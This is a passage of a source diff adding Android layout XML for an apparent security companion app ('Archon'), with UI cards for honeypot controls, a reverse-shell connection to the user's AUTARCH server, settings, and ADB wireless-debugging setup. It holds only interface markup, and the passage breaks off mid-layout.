android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="PRIVATE DNS"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_restrict"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="RESTRICT"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_revoke"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="REVOKE"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Honeypot status -->
|
||||
<TextView
|
||||
android:id="@+id/honeypot_status_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: idle"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Reverse Shell Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/revshell_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Reverse Shell"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="v1.0"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Remote shell to AUTARCH server"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- RevShell enable/disable row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_enable"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="ENABLE"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="#FFFF6600" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_disable"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="DISABLE"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- RevShell connect/disconnect/status row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_connect"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="CONNECT"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_disconnect"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="DISCONNECT"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_status"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="STATUS"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- RevShell status -->
|
||||
<TextView
|
||||
android:id="@+id/revshell_status_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: Disabled"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Output Log ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="12dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Output:"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/modules_output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="> ready_"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp"
|
||||
android:minLines="8" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
310
autarch_companion/app/src/main/res/layout/fragment_settings.xml
Normal file
310
autarch_companion/app/src/main/res/layout/fragment_settings.xml
Normal file
@@ -0,0 +1,310 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/settings_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Server Connection -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/server_connection"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_server_ip"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_server_ip"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_web_port"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_web_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Port Configuration -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/adb_configuration"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_adb_port"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_adb_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_usbip_port"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_usbip_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<com.google.android.material.materialswitch.MaterialSwitch
|
||||
android:id="@+id/switch_settings_auto_restart"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/auto_restart_adb"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace"
|
||||
app:thumbTint="@color/terminal_green"
|
||||
app:trackTint="@color/terminal_green_dim" />
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Veilid BBS (Coming Soon) -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp"
|
||||
android:alpha="0.6">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/bbs_configuration"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="COMING SOON"
|
||||
android:textColor="@color/warning"
|
||||
android:textSize="11sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Veilid-based decentralized bulletin board for secure anonymous communication. Under development."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:hint="@string/hint_bbs_address"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green"
|
||||
android:enabled="false">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_bbs_address"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace"
|
||||
android:enabled="false"
|
||||
android:hint="Not yet available" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Auto-Detect -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_auto_detect"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:text="@string/auto_detect"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:icon="@android:drawable/ic_menu_search"
|
||||
app:iconTint="@color/background"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
<!-- Actions -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="16dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_test_connection"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="8dp"
|
||||
android:text="@string/test_connection"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green_dim"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_save_settings"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/save_settings"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Status -->
|
||||
<TextView
|
||||
android:id="@+id/settings_status"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginBottom="24dp" />
|
||||
|
||||
<!-- Logout -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_logout"
|
||||
style="@style/Widget.MaterialComponents.Button.OutlinedButton"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="LOGOUT"
|
||||
android:textColor="@color/danger"
|
||||
android:fontFamily="monospace"
|
||||
app:strokeColor="@color/danger"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
383
autarch_companion/app/src/main/res/layout/fragment_setup.xml
Normal file
383
autarch_companion/app/src/main/res/layout/fragment_setup.xml
Normal file
@@ -0,0 +1,383 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<!-- Header -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ARCHON SETUP"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<!-- Privilege Status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="16dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/privilege_status_dot"
|
||||
android:layout_width="12dp"
|
||||
android:layout_height="12dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/privilege_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Checking privileges..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ STEP 1: Wireless Debugging (Shizuku-style) ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="2dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="STEP 1: Wireless Debugging"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Self-contained ADB — no PC needed"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="1. Tap START PAIRING below\n2. A notification will appear\n3. Open Developer Options > Wireless Debugging\n4. Tap 'Pair with pairing code'\n5. Enter the code in Archon's notification"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="4dp"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_start_pairing"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="START PAIRING"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="16sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/local_adb_status"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: not paired"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginTop="8dp" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ STEP 2: Archon Server ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="STEP 2: Archon Server"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Shell-level server (UID 2000) via app_process"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<!-- Status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="12dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/archon_server_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/archon_server_status"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: checking..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Modules (Shield, Honeypot, RevShell) run through\nthe Archon Server on localhost:17321."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Server buttons -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_start_archon_server"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="START SERVER"
|
||||
android:textColor="@color/background"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_stop_archon_server"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="STOP SERVER"
|
||||
android:textColor="@color/text_primary"
|
||||
android:layout_marginStart="8dp"
|
||||
android:enabled="false"
|
||||
style="@style/Widget.Material3.Button.OutlinedButton"
|
||||
app:strokeColor="@color/danger" />
|
||||
</LinearLayout>
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_show_command"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="SHOW ADB COMMAND"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ ALT: USB via AUTARCH ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ALT: USB via AUTARCH"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Connect phone to AUTARCH via USB cable"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_adb_status"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Server: not configured"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_bootstrap_usb"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="BOOTSTRAP VIA USB"
|
||||
android:textColor="@color/background"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ ALT: Root Access ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ALT: Root Access"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/root_status"
|
||||
android:layout_width="match_parent"
|
||||
